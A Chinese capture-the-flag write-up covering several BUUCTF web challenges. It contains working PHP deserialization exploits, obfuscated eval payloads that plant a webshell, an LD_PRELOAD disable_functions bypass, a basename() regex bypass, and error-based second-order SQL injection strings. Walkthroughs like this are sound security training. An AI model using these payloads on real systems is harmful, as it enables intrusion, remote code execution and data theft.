<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} } } ?>

可以看到關鍵利用file_get_contents,但是前面的file已經過濾掉了flag.php傳參。

那么這道題主要是利用到了魔術方法__tostring在實例化并打印一個對象的時候 是需要__tostring這個函數的 或者說__tostring是會自動調用的

那就很好理解了,先文件包含Useless.php文件,再利用password反序列化,我們在反序列化password的時候 在后端這個__tostring是會在反序列化的同時被調用的 而我們就可以利用里面的file_get_contents來拿到flag

exp:

<?php class Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} } } $password=new Flag(); echo serialize($password); ?>

得到:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

構造payload:

?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} POST傳:welcome to the zjctf

查看源碼,得到flag.?

RCE ME?

打開題目,簡單的代碼審計,一眼rce

<?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code); } else{highlight_file(__FILE__); }// ?>

又是漲知識的一道題

首先普通的命令執行肯定是不能繞過正則匹配了,可以使用異或來進行繞過

先查看phpinfo();

即,對查詢語句取反,然后編碼。在編碼前加上~進行取反,括號沒有被過濾,不用取反。

構造payload:

?code=(~%8F%97%8F%96%91%99%90)();

可以看到好多命令執行函數被禁用了

?寫入木馬?

?構造payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%DF%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6%DF);

蟻劍連接

?flag文件是空的,那就是要執行readflag文件,但是之前查看phpinfo的時候很多執行函數都被金庸了,需要繞過disable_functions。這里卡住遼,看了其他師傅的wp,原來還有這種方法???

解法一:利用linux提供的LD_preload環境變量,劫持共享so,在啟動子進程的時候,新的子進程會加載我們惡意的so拓展,然后我們可以在so里面定義同名函數,即可劫持API調用,成功RCE(說實話我也看不懂)

接下來解題需要用到工具:工具傳送門

將解壓后的文件夾里面的bypass_disablefun_x64.so和bypass_disablefunc.php上傳到/var/tmp目錄

?下面需要構造新的異或payload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

即為

?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a']) // assert(eval($_POST['a']))

?下面讓其包含我們的exp代碼:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

?執行即可得到flag

解法二:利用蟻劍的插件,蟻劍有一個繞過disable_functions的插件,正好有PHP7的UAF

還沒下載好插件,等等再補這個。

phpweb(反序列化)

這道題還挺有趣。

看源碼發現也沒什么信息

抓包看看

看warning的意思大概就是? func參數是函數,p是值

那就簡單遼吧?!先看一下Index.php的源碼?

得到Index.php源碼

<?php $disable_fun=array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>

可以看到disable_fun數組禁用了很多命令執行的函數,也就是我們不可以通過直接使用命令執行函數來得到flag,發現有魔術方法也有輸出,那就應該是利用反序列化函數了

class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}} }

先查看當前目錄文件

exp:

<?phpclass Test {var $p = "ls";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}} } $a=new Test(); echo serialize($a); ?>

得到序列化后的數據

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

下面就是利用反序列化函數,傳 序列化數據

有回顯,說明當前的解題思路是正確的,接下來找flag(直接在包里修改一下p值就行,嫌麻煩拿exp改p值重新生成序列化數據)

讀取?/tmp/flagoefiu4r93??這里也是直接用反序列化函數來讀取(嫌麻煩可以用redafile函數直接讀取即可)

Can you guess it?

直接給源碼

<?php include 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)"); }if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit(); }$secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if (hash_equals($secret, $guess)) {$message = 'Congratulations! The flag is: ' . FLAG;} else {$message = 'Wrong.';} } ?>

分析了一下,想要通過破解隨機數就能得到flag是不可能滴,那就只能乖乖繞過正則了

已經明確flag就在config.php中遼

分析:

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)"); }if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit(); }

正則匹配ban掉了config.php,但是后面又調用了highlight_file()

先看basename()函數,我們可以通過這個函數進行跨目錄讀取文件

當我們傳參index.php/config.php的時候,我們讀取到的頁面依舊是index.php的,但是經過basename()后,傳進highlight_file()函數的文件名變成了config.php,那就是如果我們繞過了正則,就可以通過?highlight_file(basename($_SERVER['PHP_SELF']))? 來得到config.php的源

繞過正則匹配:

老套路了,可以用%0d之類的來污染繞過,這樣仍然訪問得到index.php:

但在剛剛繞過的正則匹配中,basename()截取到是%0d?source

(簡單來說 嘗試用/index.php/config.php/?source讀取源碼,但是又繞不過正則匹配)

basename函數還有一個問題:它會去掉文件名開頭的非ASCII值(恰好解釋了為啥%0d不得)

var_dump(basename("xffconfig.php")); // => config.php var_dump(basename("config.php/xff")); // => config.php

那就更簡單啦,構造payload:

/index.php/config.php/%aa?source

EasySQL(二次注入)

之前了解到了二次注入但沒有實戰,這下遇到了就淺淺記錄一下

打開是一個登錄和注冊的界面,發現可以完全注冊,那說明這里不可以是注入點了,那么就可能是二次注入

注冊賬戶的時候插入一些測試字符?

?在更改密碼界面,提交后可以發現報錯,說明就是二次注入

?重新注冊,發現挺多字符被過濾了

@

or

and

space(空格)

substr

mid

left

right

handle

可以用管道符 || 來代替or,用括號來代替空格

直接爆表

kyo"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

?每個表都看看,剛開始覺得flag應該就在flag這個表中,最后發現不是真正的flag,那應該就是在usrts表里面了。

kyo"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

查看real_flag_1s_her字段

kyo"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

這里的regexp('^f')的作用就是查找以f開頭的內容。

由于updatexml函數輸出的字符串長度有限制

我常用的sunstr的被過濾掉了,可以試試用reverse()把flag倒序輸出來

kyo"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

倒序過來即可得到正確的flag。?

文章參考:BUUCTF [GYCTF2020] Blacklist_Senimo_的博客-CSDN博客

SQL注入之堆疊注入_沫憶末憶的博客-CSDN博客_堆疊注入

password=md5($pass,true)繞過、弱類型、MD5強碰撞_sGanYu的博客-CSDN博客_md5($pass,true)
BUUCTF 2018 Online Tool_戀物語戰場原的博客-CSDN博客

(1條消息) [網鼎杯 2018]Fakebook_sm1rk的博客-CSDN博客

總結

以上是生活随笔為你收集整理的BUUCTF(web刷题记录一)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。